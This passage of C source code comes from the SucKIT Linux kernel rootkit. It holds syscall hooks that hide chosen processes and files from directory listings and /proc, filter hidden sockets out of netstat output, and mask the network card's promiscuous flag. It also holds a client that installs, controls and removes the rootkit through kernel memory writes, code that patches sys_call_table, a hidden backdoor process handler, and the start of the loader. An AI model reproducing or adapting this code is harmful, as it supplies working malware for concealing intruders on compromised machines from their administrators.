                                }       /* if readlink .. */
                        }       /* if readdir */
                        old_close(fd);
                }       /* if hidden */
        }       /* for (i < pid_count ... */
        return cnt;
}

static inline int     invisible_socket(int nr, int *tab, int max)
{
        int     i;
        for (i = 0; i < max; i++) {
                if (tab[i] == nr)
                        return 1;
        }
        return 0;
}

/* ehrm. ehrm. 8 gotos at one page of code ? uglyneees ;)
   this is code strips (i hope ;) "bad" things from netstat, etc. */
int     strip_net(char *src, char *dest, int size, int *net_tab,
                  int ncount)
{
        char   *ptr = src;
        char   *bline = src;
        int     temp;
        int     ret = 0;
        int     i;

rnext:
        if (ptr >= (src + size))
                goto rlast;
        if ((ptr - bline) > 0) {
                memcpy(dest, bline, ptr - bline);
                dest += ptr - bline;
                ret += ptr - bline;
        }
        bline = ptr;
        for (i = 0; i < 9; i++) {
                while (*ptr == ' ') {
                        if (ptr >= (src + size))
                                goto rlast;
                        if (*ptr == '\n')
                                goto rnext;
                        ptr++;
                }
                while (*ptr != ' ') {
                        if (ptr >= (src + size))
                                goto rlast;
                        if (*ptr == '\n')
```

```
                                goto rnext;
                        ptr++;
                }
                if (ptr >= (src + size))
                        goto rlast;
        }
        temp = my_atoi(ptr);
        while (*ptr != '\n') {
                ptr++;
                if (ptr >= (src + size))
                        goto rlast;
        }
        ptr++;
        if (invisible_socket(temp, net_tab, ncount))
                bline = ptr;
        goto rnext;
rlast:
        if ((ptr - bline) > 0) {
                memcpy(dest, bline, ptr - bline);
                ret += ptr - bline;
        }
        return ret;
}


#define NTSIZE  384
struct  net_struc *create_net_struc(int fd)
{
        int             size = 0;
        struct  de      *de = NULL;
        struct  net_struc *ns = NULL;
        char            *tmp = NULL;
        int             net_tab[NTSIZE];
        int             ncount;
        int             nsize;

        crd("fd=%d", fd);

        tmp = ualloc(PAGE_SIZE);
        do {
                nsize = old_read(fd, tmp, PAGE_SIZE);
                if (nsize < 0) {
                        ufree(tmp, PAGE_SIZE);
                        return NULL;
                }
                size += nsize;
        } while (nsize == PAGE_SIZE);
        ufree(tmp, PAGE_SIZE);
        if (old_lseek(fd, 0, 0) != 0)
                goto err;

        tmp = ualloc(size);
        if (!tmp)
                goto err;
        ns = ualloc(sizeof(struct net_struc) + size);
        if (!ns)
                goto err;
        de = ualloc(sizeof(struct de));
        if (!de)
                goto err;
        ns->data_len = size;
        crd("tmp=0x%x, ns=0x%x, size=%d", tmp, ns, size);
        ncount = create_net_tab(net_tab, NTSIZE, de, tmp);
        if (!ncount)
                goto err;
        nsize = old_read(fd, tmp, size);
        if (nsize < 0)
                goto err;
        old_lseek(fd, 0, 0);
        ns->len = strip_net(tmp, ns->dat, nsize, net_tab, ncount);
```

```
        ns->pos = 0;
        ns->fd = fd;
        ufree(tmp, size);
        ufree(de, sizeof(struct de));
        return ns;
err:
        ufree(ns, sizeof(struct net_struc) + size);
        ufree(tmp, size);
        ufree(de, sizeof(struct de));
        return NULL;
}

static inline int       destroy_net_struc(struct net_struc **net)
{
        if (net && *net) {
                ufree(*net, (*net)->data_len + sizeof(struct net_struc));
                *net = NULL;
                return 1;
        }
        return 0;
}

/***************************** syscalls ! **********************/
/* I/O with userspace */
int     new_olduname(char *buf)
{
#define cmdp ((struct cmd_struc *) buf)
        if (cmdp->id == OUR_SIGN) {
                switch (cmdp->cmd) {
                        case CMD_TST:
                                cmdp->num = OUR_SIGN;
                                strcpy(cmdp->buf, SUCKIT_VERSION);
                                return 0;
                        case CMD_INV:
                                if (hide_pid(cmdp->num))
                                        return 0;
                                return -1;
                        case CMD_VIS:
                                if (unhide_pid(cmdp->num))
                                        return 0;
                                return -1;
                        case CMD_GFL:
                                cmdp->num = our_flags;
                                return 0;
                        case CMD_SFL:
                                our_flags = cmdp->num;
                                return 0;
                        case CMD_RMV:
                                if (backdoor_pid)
                                        old_kill(backdoor_pid, 9);
                                cmdp->cmd = syscall_dispatch;
                                cmdp->num = old_call_table;
                                return 0;
                        case CMD_BDR:
                                backdoor_pid = cmdp->num;
                                hide_pid(cmdp->num);
                                return 0;
                        default:
                                return -1;
                }
        }
        return old_olduname(buf);
#undef cmdp
}

int     new_fork(struct pt_regs regs)
{
        struct  pid_struc *parent;
        int     pid;
```

```
        sync_pid_tab();
        parent = curr_pid();

        pid = old_fork(regs);
        if (pid > 0) {
                if ((parent) && (parent->hidden)) {
                        register struct pid_struc *new;
                        new = add_pid(pid);
                        if (new)
                                new->hidden = 1;
                }
        }
        return pid;
}

int     new_clone(struct pt_regs regs)
{
        struct  pid_struc *parent;
        int     pid;

        sync_pid_tab();
        parent = curr_pid();

        pid = old_clone(regs);
        if (pid > 0) {
                if ((parent) && (parent->hidden)) {
                        register struct pid_struc *new;
                        new = add_pid(pid);
                        if (new)
                                new->hidden = 1;
                }
        }
        return pid;
}

/* cache info about "bad" files (/proc/net/tcp etc) */
#define NSIZE   256
void    cache_bads()
{
        struct  stat *buf;
        char    *n;

        buf = ualloc(sizeof(struct stat) + NSIZE);
        n = (char *) (((ulong) buf) + sizeof(struct stat));
        crd("buf = 0x%x, n = 0x%x", buf, n);
        if (!buf) return;
        strcpy(n, BAD1);
        if (old_stat(n, buf) == 0) {
                bdev = buf->st_dev;
                bad1 = buf->st_ino;
                crd("bdev = %d, bad1 = %d", bdev, bad1);
        }
        strcpy(n, BAD2);
        if (old_stat(n, buf) == 0)
                bad2 = buf->st_ino;
        strcpy(n, BAD3);
        if (old_stat(n, buf) == 0)
                bad3 = buf->st_ino;
        crd("bad2 = %d, bad3 = %d", bad2, bad3);
        ufree(buf, sizeof(struct stat) + NSIZE);
}

int     new_open(char *path, int flags, int mode)
{
        int     fd;
        struct  stat *buf = NULL;
        if (bdev == -1)
                cache_bads();
        fd = old_open(path, flags, mode);
        if (fd < 0) goto err;
```

```
        buf = ualloc(sizeof(struct stat));
        if (!buf) {
                old_close(fd);
                return -ENOMEM;
        }
        if (old_fstat(fd, buf) == 0) {
                if ( (buf->st_dev == bdev) &&
                     (buf->st_ino == bad1 || buf->st_ino == bad2 ||
                      buf->st_ino == bad3) ) {
                        struct  pid_struc *p;
                        p = add_pid(old_getpid());
                        destroy_net_struc(&p->net);
                        p->net = create_net_struc(fd);
                        if (!p->net) {
                                old_close(fd);
                                fd = -ENOMEM;
                                goto err;
                        }
                }
        } else {
                old_close(fd);
                return -EPERM;
        }
err:
        ufree(buf, sizeof(struct stat));
        return fd;
}

int     new_read(int fd, char *buf, uint count)
{
        struct  pid_struc *p = curr_pid();
        /* fake netinfo file ;) */
        if ((p) && (p->net) && (p->net->fd == fd)) {
                if ((count + p->net->pos) > p->net->len) {
                        count = p->net->len - p->net->pos;
                }
                crd("count (after) = %d", count);
                if ((p->net->pos >= p->net->len) ||
                    (count == 0)) return 0;
                memcpy(buf, p->net->dat + p->net->pos, count);
                p->net->pos += count;
                return count;
        }
        return old_read(fd, buf, count);
}

int     new_close(int fd)
{
        struct  pid_struc *p = curr_pid();
        if ((p) && (p->net) && (p->net->fd == fd)) {
                destroy_net_struc(&p->net);
        }
        return old_close(fd);
}

int     new_kill(int pid, int sig)
{
        struct  pid_struc *p;
        int     t = pid;

        if (pid < -1)
                t = -pid;
        p = find_pid(t);
        if ((p) && (p->hidden)) {
                register int cpid = old_getpid();
                if (cpid == 1) goto ok;
                p = find_pid(cpid);
                if ((p) && (p->hidden)) goto ok;
                return -ESRCH;
```

```
        }
ok:
        return old_kill(pid, sig);
}

int     is_hidden(char *s, uint inode)
{
        int     c = 0;
        struct pid_struc *p;

        if (!HIDE_PROCS) return 0;
        while (*s) {
                if ((*s < '0') || (*s > '9'))
                        return 0;
                c = c * 10 + (*s++) - '0';
        }
        if (((inode - 2) / 65536) != c) return 0;
        p = find_pid(c);
        if (!p)
                return 0;
        if (p->hidden)
                return 1;
        return 0;
}

/* this strips "hidden" files and pid's from /proc listening */
int     new_getdents(uint fd, struct de *dirp, int count)
{
        struct  de      *dbuf = NULL;
        struct  de      *prev = NULL;
        char    register *ptr;
        char            *cpy;
        int             oldlen, newlen;
        int             hslen = strlen(cfg.hs);

        oldlen = newlen = old_getdents(fd, dirp, count);
        if (oldlen <= 0)
                goto outta;
        cpy = ptr = ualloc(oldlen);
        if (!ptr)
                return -ENOMEM;
        dbuf = (struct de *) cpy;
        memcpy(ptr, dirp, oldlen);
        memset(dirp, 0, oldlen);
#define dp ((struct de *) ptr)
        while ((ulong) ptr < (ulong) dbuf + oldlen) {
                int register size = dp->d_reclen;
                int zlen = strlen(dp->d_name);
                if (is_hidden(dp->d_name, dp->d_ino) ||
                   (HIDE_FILES && (zlen >= hslen) &&
                    (!strcmp(cfg.hs, &dp->d_name[zlen - hslen]))) ) {
                        if (!prev) {
                                newlen -= size;
                                cpy += size;
                        } else {
                                prev->d_reclen += size;
                                memset(dp, 0, size);
                        }
                } else {
                        prev = dp;
                }
                ptr += size;
        }
        if (newlen) memcpy(dirp, cpy, newlen);
outta:
        ufree(dbuf, oldlen);
        return newlen;
#undef dp
}
```

```
/* this strips "hidden" files and pid's from /proc listening */
int     new_getdents64(uint fd, struct de64 *dirp, int count)
{
        struct  de64    *dbuf = NULL;
        struct  de64    *prev = NULL;
        char    register *ptr;
        char            *cpy;
        int             oldlen, newlen;
        int             hslen = strlen(cfg.hs);

        oldlen = newlen = old_getdents64(fd, dirp, count);
        if (oldlen <= 0)
                goto outta;
        cpy = ptr = ualloc(oldlen);
        if (!ptr)
                return -ENOMEM;
        dbuf = (struct de64 *) cpy;
        memcpy(ptr, dirp, oldlen);
        memset(dirp, 0, oldlen);
#define dp ((struct de64 *) ptr)
        while ((ulong) ptr < (ulong) dbuf + oldlen) {
                int register size = dp->d_reclen;
                int zlen = strlen(dp->d_name);
                if (is_hidden(dp->d_name, dp->d_ino) ||
                   (HIDE_FILES && (zlen >= hslen) &&
                    (!strcmp(cfg.hs, &dp->d_name[zlen - hslen]))) ) {
                        if (!prev) {
                                newlen -= size;
                                cpy += size;
                        } else {
                                prev->d_reclen += size;
                                memset(dp, 0, size);
                        }
                } else {
                        prev = dp;
                }
                ptr += size;
        }
        if (newlen) memcpy(dirp, cpy, newlen);
outta:
        ufree(dbuf, oldlen);
        return newlen;
#undef dp
}

/* hide the PROMISC flag */
int     new_ioctl(uint fd, uint cmd, ulong arg)
{
        int     ret;
#define ifr ((struct ifreq *) arg)
        ret = old_ioctl(fd, cmd, arg);
        if (ret < 0) goto err;
        if ((cmd == SIOCGIFFLAGS) && (ifr) && (ifr->ifr_flags & IFF_UP))
                ifr->ifr_flags &= ~IFF_PROMISC;
err:
        return ret;
}
#endif
<--> ./src/core.c
<++> ./src/client.c
/* $Id: client.c, stuff between user <=> kernel */

#ifndef CLIENT_C
#define CLIENT_C
#include "io.c"
#include "string.c"
#include "vsprintf.c"
#include "config.c"

/* howto */
```

```
int     usage(char *s)
{
        printf(
                "Usage:\n"
                "%s [command] [arg]\n"
                "Commands:\n"
                "  u          uninstall\n"
                "  t          test\n"
                "  i <pid>    make pid invisible\n"
                "  v <pid>    make pid visible (0 = all)\n"
                "  f [0/1]    toggle file hiding\n"
                "  p [0/1]    toggle proc hiding\n"
                "configuration:\n"
                "  c <hidestr> <password> <home>\n"
                "invoking without args will install rewtkit into memory\n"
                , s);
        return 0;
}

/* ???! */
int     skio(int cmd, struct cmd_struc *c)
{
        c->id = OUR_SIGN;
        c->cmd = cmd;
        if (olduname(c) != 0) {
                return 0;
        } else {
                return 1;
        }
}

/* only check for us */
int     fucka_is_there()
{
        struct  cmd_struc c;
        c.cmd = CMD_TST;
        c.id = OUR_SIGN;
        olduname(&c);
        if (c.num == OUR_SIGN) {
                printf("Currently installed version: %s\n", c.buf);
                return 1;
        }
        return 0;
}

/* client side */
int     client(int kernel, int argc, char *argv[])
{
        struct  cmd_struc c;
        int     i;
        int     our_flags;

        if (argc < 2) return usage(argv[0]);
        if (((*(argv[1]) & 0xDF) != 'C') && (!kernel))
                return usage(argv[0]);
        if (kernel) skio(CMD_GFL, &c);
        our_flags = c.num;
        switch (*(argv[1]) & 0xDF) {
                case 'C':
                        if (argc != 5) return (usage(argv[0]));
                        return config(argv[0], argv[2], argv[3], argv[4]);
                case 'U':
                        printf("Removing from memory...");
                        skio(CMD_RMV, &c);
                        i = open(KMEM_FILE, O_WRONLY, 0);
                        if (i < 0) {
                                printf("Can't open %s for writing (%d)\n",
                                       KMEM_FILE, -errno);
                                return 1;
                        }
```

```
        if (!wkml(i, c.cmd, c.num)) {
                printf("Failed\n");
                close(i);
                return 1;
        }
        close(i);
        printf("OK, previous call dispatch 0x%08x at"
               " 0x%08x restored.\n", c.num, c.cmd);
        return 0;
case 'T':
        printf("Test OK.\n");
        return 0;
case 'I':
        if ((argc < 3) || (sscanf(argv[2], "%d", &i) != 1))
                return usage(argv[0]);
        c.num = i;
        printf("Making pid %d invisible...", i);
        if (skio(CMD_INV, &c)) {
                printf("OK\n");
                return 0;
        }
        printf("Failed\n");
        return 1;
case 'V':
        if ((argc < 3) || (sscanf(argv[2], "%d", &i) != 1))
                return usage(argv[0]);
        c.num = i;
        if (i != 0)
                printf("Making pid %d visible...", i);
        else
                printf("Making all pid's visible...");
        if (skio(CMD_VIS, &c)) {
                printf("OK\n");
                return 0;
        }
        printf("Failed\n");
        return 1;
case 'F':
        if (argc >= 3) {
                if (!((argv[2][0] == '0') ||
                      (argv[2][0] == '1'))) {
                        return usage(argv[0]);
                }
                if (argv[2][0] == '0')
                        our_flags &= ~CMD_FLAG_HF;
                else
                        our_flags |= CMD_FLAG_HF;
        } else {
                our_flags ^= CMD_FLAG_HF;
        }
        printf("File hiding %s...",
                (our_flags & CMD_FLAG_HF) ? "ON" : "OFF");
        c.num = our_flags;
        if (skio(CMD_SFL, &c)) {
                printf("OK\n");
                return 0;
        }
        printf("Failed\n");
        return 1;
case 'P':
        if (argc >= 3) {
                if (!((argv[2][0] == '0') ||
                      (argv[2][0] == '1'))) {
                        return usage(argv[0]);
                }
                if (argv[2][0] == '0')
                        our_flags &= ~CMD_FLAG_HP;
                else
                        our_flags |= CMD_FLAG_HP;
        } else {
```

```
                                our_flags ^= CMD_FLAG_HP;
                        }
                        printf("Proc hiding %s...",
                                (our_flags & CMD_FLAG_HP) ? "ON" : "OFF");
                        c.num = our_flags;
                        if (skio(CMD_SFL, &c)) {
                                printf("OK\n");
                                return 0;
                        }
                        printf("Failed\n");
                        return 1;
        }
        return usage(argv[0]);
}

#endif
<--> ./src/client.c
<++> ./src/gfp.c
/* $Id: gfp.c, needs to be improved, takes care about GFP_KERNEL flag */

#ifndef GFP_C
#define GFP_C
#include "io.c"

#define NEW_GFP         KMEM_FLAGS
#define OLD_GFP         0x3

/* uname struc */
struct un {
        char    sysname[65];
        char    nodename[65];
        char    release[65];
        char    version[65];
        char    machine[65];
        char    domainname[65];
};

int     get_gfp()
{
        struct un s;
        uname(&s);
        if ((s.release[0] == '2') && (s.release[2] == '4') &&
            (s.release[4] >= '6' ||
             (s.release[5] >= '0' && s.release[5] <= '9'))) {
                return NEW_GFP;
        }
        return OLD_GFP;
}
#endif
<--> ./src/gfp.c
<++> ./src/vsprintf.c
/* $Id: vsprintf.c, modified linus' vsprintf.c, thanx to him, whatever */

#ifndef VSPRINTF_C
#define VSPRINTF_C
#define isdigit(x) ((x >= '0') && (x <= '9'))
#define isxdigit(x) (isdigit(x) || (x >= 'a' && \
                     x <= 'f') || (x >= 'A' && x <= 'F'))
#define islower(x) ((x >= 'a') && (x <= 'z'))
#define isspace(x) (x==' ' || x=='\t' || x=='\n' \
                    || x=='\r' || x=='\f' || x=='\v')
#define toupper(x) (x & 0xDF)
#define do_div(n,base) ({ \
int __res; \
__res = ((unsigned long) n) % (unsigned) base; \
n = ((unsigned long) n) / (unsigned) base; \
__res; })


unsigned long simple_strtoul(const char *cp,char **endp,unsigned int base)
```

```
{
        unsigned long result = 0,value;

        if (!base) {
                base = 10;
                if (*cp == '0') {
                        base = 8;
                        cp++;
                        if ((*cp == 'x') && isxdigit(cp[1])) {
                                cp++;
                                base = 16;
                        }
                }
        }
        while (isxdigit(*cp) &&
               (value = isdigit(*cp) ? *cp-'0' :
                toupper(*cp)-'A'+10) < base) {
                result = result*base + value;
                cp++;
        }
        if (endp)
                *endp = (char *)cp;
        return result;
}

long simple_strtol(const char *cp,char **endp,unsigned int base)
{
        if(*cp=='-')
                return -simple_strtoul(cp+1,endp,base);
        return simple_strtoul(cp,endp,base);
}

unsigned long long simple_strtoull(const char *cp,char **endp,
                                   unsigned int base)
{
        unsigned long long result = 0,value;

        if (!base) {
                base = 10;
                if (*cp == '0') {
                        base = 8;
                        cp++;
                        if ((*cp == 'x') && isxdigit(cp[1])) {
                                cp++;
                                base = 16;
                        }
                }
        }
        while (isxdigit(*cp) && (value = isdigit(*cp) ? *cp-'0' :
               (islower(*cp) ? toupper(*cp) : *cp)-'A'+10) < base) {
                result = result*base + value;
                cp++;
        }
        if (endp)
                *endp = (char *)cp;
        return result;
}

long long simple_strtoll(const char *cp,char **endp,unsigned int base)
{
        if(*cp=='-')
                return -simple_strtoull(cp+1,endp,base);
        return simple_strtoull(cp,endp,base);
}

static int skip_atoi(const char **s)
{
        int i=0;

        while (isdigit(**s))
```

```
                i = i*10 + *((*s)++) - '0';
        return i;
}

#define ZEROPAD 1               /* pad with zero */
#define SIGN    2               /* unsigned/signed long */
#define PLUS    4               /* show plus */
#define SPACE   8               /* space if plus */
#define LEFT    16              /* left justified */
#define SPECIAL 32              /* 0x */
#define LARGE   64              /* use 'ABCDEF' instead of 'abcdef' */

static char * number(char * buf, char * end, long long num, int base,
                     int size, int precision, int type)
{
        char c,sign,tmp[66];
        const char *digits;
        const char small_digits[] = "0123456789abcdefghijklmnopqrstuvwxyz";
        const char large_digits[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        int i;

        digits = (type & LARGE) ? large_digits : small_digits;
        if (type & LEFT)
                type &= ~ZEROPAD;
        if (base < 2 || base > 36)
                return 0;
        c = (type & ZEROPAD) ? '0' : ' ';
        sign = 0;
        if (type & SIGN) {
                if (num < 0) {
                        sign = '-';
                        num = -num;
                        size--;
                } else if (type & PLUS) {
                        sign = '+';
                        size--;
                } else if (type & SPACE) {
                        sign = ' ';
                        size--;
                }
        }
        if (type & SPECIAL) {
                if (base == 16)
                        size -= 2;
                else if (base == 8)
                        size--;
        }
        i = 0;
        if (num == 0)
                tmp[i++]='0';
        else while (num != 0)
                tmp[i++] = digits[do_div(num,base)];
        if (i > precision)
                precision = i;
        size -= precision;
        if (!(type&(ZEROPAD+LEFT))) {
                while(size-->0) {
                        if (buf <= end)
                                *buf = ' ';
                        ++buf;
                }
        }
        if (sign) {
                if (buf <= end)
                        *buf = sign;
                ++buf;
        }
        if (type & SPECIAL) {
                if (base==8) {
                        if (buf <= end)
```

```
                                *buf = '0';
                        ++buf;
                } else if (base==16) {
                        if (buf <= end)
                                *buf = '0';
                        ++buf;
                        if (buf <= end)
                                *buf = digits[33];
                        ++buf;
                }
        }
        if (!(type & LEFT)) {
                while (size-- > 0) {
                        if (buf <= end)
                                *buf = c;
                        ++buf;
                }
        }
        while (i < precision--) {
                if (buf <= end)
                        *buf = '0';
                ++buf;
        }
        while (i-- > 0) {
                if (buf <= end)
                        *buf = tmp[i];
                ++buf;
        }
        while (size-- > 0) {
                if (buf <= end)
                        *buf = ' ';
                ++buf;
        }
        return buf;
}

int vsnprintf(char *buf, unsigned int size, const char *fmt, va_list args)
{
        int len;
        unsigned long long num;
        int i, base;
        char *str, *end, c;
        const char *s;

        int flags;              /* flags to number() */

        int field_width;        /* width of output field */
        int precision;          /* min. # of digits for integers; max
                                   number of chars for from string */
        int qualifier;          /* 'h', 'l', or 'L' for integer fields */
                                /* 'z' support added 23/7/1999 S.H.    */
                                /* 'z' changed to 'Z' --davidm 1/25/99 */

        str = buf;
        end = buf + size - 1;

        if (end < buf - 1) {
                end = ((void *) -1);
                size = end - buf + 1;
        }

        for (; *fmt ; ++fmt) {
                if (*fmt != '%') {
                        if (str <= end)
                                *str = *fmt;
                        ++str;
                        continue;
                }

                /* process flags */
```

```
flags = 0;
repeat:
        ++fmt;          /* this also skips first '%' */
        switch (*fmt) {
                case '-': flags |= LEFT; goto repeat;
                case '+': flags |= PLUS; goto repeat;
                case ' ': flags |= SPACE; goto repeat;
                case '#': flags |= SPECIAL; goto repeat;
                case '0': flags |= ZEROPAD; goto repeat;
        }

/* get field width */
field_width = -1;
if (isdigit(*fmt))
        field_width = skip_atoi(&fmt);
else if (*fmt == '*') {
        ++fmt;
        /* it's the next argument */
        field_width = va_arg(args, int);
        if (field_width < 0) {
                field_width = -field_width;
                flags |= LEFT;
        }
}

/* get the precision */
precision = -1;
if (*fmt == '.') {
        ++fmt;
        if (isdigit(*fmt))
                precision = skip_atoi(&fmt);
        else if (*fmt == '*') {
                ++fmt;
                /* it's the next argument */
                precision = va_arg(args, int);
        }
        if (precision < 0)
                precision = 0;
}

/* get the conversion qualifier */
qualifier = -1;
if (*fmt == 'h' || *fmt == 'l' || *fmt == 'L' ||
    *fmt =='Z') {
        qualifier = *fmt;
        ++fmt;
        if (qualifier == 'l' && *fmt == 'l') {
                qualifier = 'L';
                ++fmt;
        }
}

/* default base */
base = 10;

switch (*fmt) {
        case 'c':
                if (!(flags & LEFT)) {
                        while (--field_width > 0) {
                                if (str <= end)
                                        *str = ' ';
                                ++str;
                        }
                }
                c = (unsigned char) va_arg(args, int);
                if (str <= end)
                        *str = c;
                ++str;
                while (--field_width > 0) {
                        if (str <= end)
```

```
                        *str = ' ';
                ++str;
        }
        continue;

case 's':
        s = va_arg(args, char *);
        if (!s)
                s = "<NULL>";

        len = strnlen(s, precision);

        if (!(flags & LEFT)) {
                while (len < field_width--) {
                        if (str <= end)
                                *str = ' ';
                        ++str;
                }
        }
        for (i = 0; i < len; ++i) {
                if (str <= end)
                        *str = *s;
                ++str; ++s;
        }
        while (len < field_width--) {
                if (str <= end)
                        *str = ' ';
                ++str;
        }
        continue;

case 'p':
        if (field_width == -1) {
                field_width = 2*sizeof(void *);
                flags |= ZEROPAD;
        }
        str = number(str, end,
        (unsigned long) va_arg(args, void *),
        16, field_width, precision, flags);
        continue;


case 'n':
        if (qualifier == 'l') {
                long * ip = va_arg(args, long *);
                *ip = (str - buf);
        } else if (qualifier == 'Z') {
                unsigned int * ip =
                va_arg(args, unsigned int *);
                *ip = (str - buf);
        } else {
                int * ip = va_arg(args, int *);
                *ip = (str - buf);
        }
        continue;

case '%':
        if (str <= end)
                *str = '%';
        ++str;
        continue;

case 'o':
        base = 8;
        break;

case 'X':
        flags |= LARGE;
case 'x':
        base = 16;
```

```
                                break;

                        case 'd':
                        case 'i':
                                flags |= SIGN;
                        case 'u':
                                break;

                        default:
                                if (str <= end)
                                        *str = '%';
                                ++str;
                                if (*fmt) {
                                        if (str <= end)
                                                *str = *fmt;
                                        ++str;
                                } else {
                                        --fmt;
                                }
                                continue;
                }
                if (qualifier == 'L')
                        num = va_arg(args, long long);
                else if (qualifier == 'l') {
                        num = va_arg(args, unsigned long);
                        if (flags & SIGN)
                                num = (signed long) num;
                } else if (qualifier == 'Z') {
                        num = va_arg(args, unsigned int);
                } else if (qualifier == 'h') {
                        num = (unsigned short) va_arg(args, int);
                        if (flags & SIGN)
                                num = (signed short) num;
                } else {
                        num = va_arg(args, unsigned int);
                        if (flags & SIGN)
                                num = (signed int) num;
                }
                str = number(str, end, num, base,
                                field_width, precision, flags);
        }
        if (str <= end)
                *str = '\0';
        else if (size > 0)
                *end = '\0';
        return str-buf;
}

int snprintf(char * buf, unsigned int size, const char *fmt, ...)
{
        va_list args;
        int i;

        va_start(args, fmt);
        i=vsnprintf(buf,size,fmt,args);
        va_end(args);
        return i;
}

int vsprintf(char *buf, const char *fmt, va_list args)
{
        return vsnprintf(buf, 0xFFFFFFFFUL, fmt, args);
}

int sprintf(char * buf, const char *fmt, ...)
{
        va_list args;
        int i;

        va_start(args, fmt);
```

```
        i=vsprintf(buf,fmt,args);
        va_end(args);
        return i;
}

int vsscanf(const char * buf, const char * fmt, va_list args)
{
        const char *str = buf;
        char *next;
        int num = 0;
        int qualifier;
        int base;
        unsigned int field_width;
        int is_sign = 0;

        for (; *fmt; fmt++) {
                if (isspace(*fmt)) {
                        continue;
                }

                if (*fmt != '%') {
                        if (*fmt++ != *str++)
                                return num;
                        continue;
                }
                ++fmt;

                if (*fmt == '*') {
                        while (!isspace(*fmt))
                                fmt++;
                        while(!isspace(*str))
                                str++;
                        continue;
                }

                field_width = 0xffffffffUL;
                if (isdigit(*fmt))
                        field_width = skip_atoi(&fmt);

                qualifier = -1;
                if (*fmt == 'h' || *fmt == 'l' ||
                    *fmt == 'L' || *fmt == 'Z') {
                        qualifier = *fmt;
                        fmt++;
                }
                base = 10;
                is_sign = 0;

                switch(*fmt) {
                case 'c':
                {
                        char *s = (char *) va_arg(args,char*);
                        do {
                                *s++ = *str++;
                        } while(field_width-- > 0);
                        num++;
                }
                continue;
                case 's':
                {
                        char *s = (char *) va_arg(args, char *);
                        while (isspace(*str))
                                str++;

                        while (!isspace(*str) && field_width--) {
                                *s++ = *str++;
                        }
                        *s = '\0';
                        num++;
                }
```

```
continue;
case 'n':
{
        int *i = (int *)va_arg(args,int*);
        *i = str - buf;
}
continue;
case 'o':
        base = 8;
        break;
case 'x':
case 'X':
        base = 16;
        break;
case 'd':
case 'i':
        is_sign = 1;
case 'u':
        break;
case '%':
        if (*str++ != '%')
                return num;
        continue;
default:
        return num;
}

while (isspace(*str))
        str++;

switch(qualifier) {
case 'h':
        if (is_sign) {
                short *s = (short *) va_arg(args,short *);
                *s = (short) simple_strtol(str,&next,base);
        } else {
                unsigned short *s =
                        (unsigned short *)
                        va_arg(args, unsigned short *);
                *s = (unsigned short)
                        simple_strtoul(str, &next, base);
        }
        break;
case 'l':
        if (is_sign) {
                long *l = (long *) va_arg(args,long *);
                *l = simple_strtol(str,&next,base);
        } else {
                unsigned long *l = (unsigned long*)
                        va_arg(args,unsigned long*);
                *l = simple_strtoul(str,&next,base);
        }
        break;
case 'L':
        if (is_sign) {
                long long *l = (long long*)
                        va_arg(args,long long *);
                *l = simple_strtoll(str,&next,base);
        } else {
                unsigned long long *l =
                        (unsigned long long*)
                        va_arg(args,unsigned long long*);
                *l = simple_strtoull(str,&next,base);
        }
        break;
case 'Z':
{
        unsigned int *s = (unsigned int*)
                        va_arg(args,unsigned int*);
        *s = (unsigned int) simple_strtoul(str,&next,base);
```

```
                }
                break;
                default:
                        if (is_sign) {
                                int *i = (int *) va_arg(args, int*);
                                *i = (int) simple_strtol(str,&next,base);
                        } else {
                                unsigned int *i = (unsigned int*)
                                        va_arg(args, unsigned int*);
                                *i = (unsigned int)
                                        simple_strtoul(str,&next,base);
                        }
                        break;
                }
                num++;

                if (!next)
                        break;
                str = next;
        }
        return num;
}

int sscanf(const char * buf, const char * fmt, ...)
{
        va_list args;
        int i;

        va_start(args,fmt);
        i = vsscanf(buf,fmt,args);
        va_end(args);
        return i;
}
#endif
<--> ./src/vsprintf.c
<++> ./src/hook.c
/* $Id: hook.c, hooking sys_call_table[] */

#ifndef HOOK_C
#define HOOK_C

/* ahh, what the heck this does ? ;)) */
int     hook_syscalls(ulong *old, ulong *new,
                      struct new_call *handlers, ulong po, ulong img)
{
        int     hooked = 0;
        memcpy(new, old, SYS_COUNT * 4);
        while (handlers->nr) {
                if ((ulong) handlers->handler)
                        new[handlers->nr] = (ulong) handlers->handler;
skd("Hooking syscall %d\nHandler at %x, old_handler at %x\n\n\n",
handlers->nr, handlers->handler, handlers->old_handler);
                * (ulong *) ((ulong) (handlers->old_handler) - po + img)
                        = old[handlers->nr];
                handlers++;
                hooked++;
        }
        return hooked;
}
#endif
<--> ./src/hook.c
<++> ./src/io.c
/* $Id: io.c, I/O magics */

#ifndef IO_C
#define IO_C
int     errno;
#include <stdarg.h>
#include <linux/unistd.h>
#include <asm/stat.h>
```

```
#include "suckit.h"
#define __NR__exit __NR_exit
static inline _syscall0(int,pause);
static inline _syscall0(int,sync);
static inline _syscall3(int,write,int,fd,const char *,buf,int,count);
static inline _syscall3(int,read,int,fd,char *,buf,int,count);
static inline _syscall3(int,lseek,int,fd,int,offset,int,count);
static inline _syscall1(int,dup,int,fd);
static inline _syscall3(int,execve,const char *,file,char **,argv,
                        char **,envp);
static inline _syscall3(int,open,const char *,file,int,flag,int,mode);
static inline _syscall1(int,close,int,fd);
static inline _syscall1(int,_exit,int,exitcode);
static inline _syscall1(int, get_kernel_syms, struct kernel_sym *, table);
static inline _syscall1(int, olduname, void *, buf);
static inline _syscall1(int, uname, void *, buf);
#define __NR__fork __NR_fork
static  inline _syscall0(int, _fork);
static inline _syscall1(int, unlink, char *, name);
static inline _syscall0(int, getpid);

int     printf(char *fmt, ...)
{
        va_list args;
        int     i;
        char    buf[2048];

        va_start(args, fmt);
        i = vsnprintf(buf, sizeof(buf) - 1, fmt, args);
        return write(1, buf, i);
}

#endif
<--> ./src/io.c
<++> ./src/sk.c
/* $Id: sk.c - suckit, loader code  */

#ifndef SK_C
#define SK_C
#include <stdarg.h>
#include <linux/unistd.h>

#include "suckit.h"

#include "string.c"
#include "vsprintf.c"
#include "io.c"
#include "main.c"
#include "loc.c"
#include "kernel.c"
#include "gfp.c"
#include "hook.c"
#include "client.c"
#include "bd.c"
#include "rc.c"
#include "core.h"

#define TMP_SIZE (64*1024)

/* [main] */
int     main(int argc, char *argv[])
{
        ulong   page_offset;
        ulong   dispatch;
        ulong   sct;
        ulong   kma;
        ulong   punk_addr;
        ulong   punk_size;
        uchar   tmp[TMP_SIZE];
        ulong   *new_call_table;
```

```
ulong   old_call_table[SYS_COUNT];

struct  new_call *handlers;
struct  obj_struc *img;
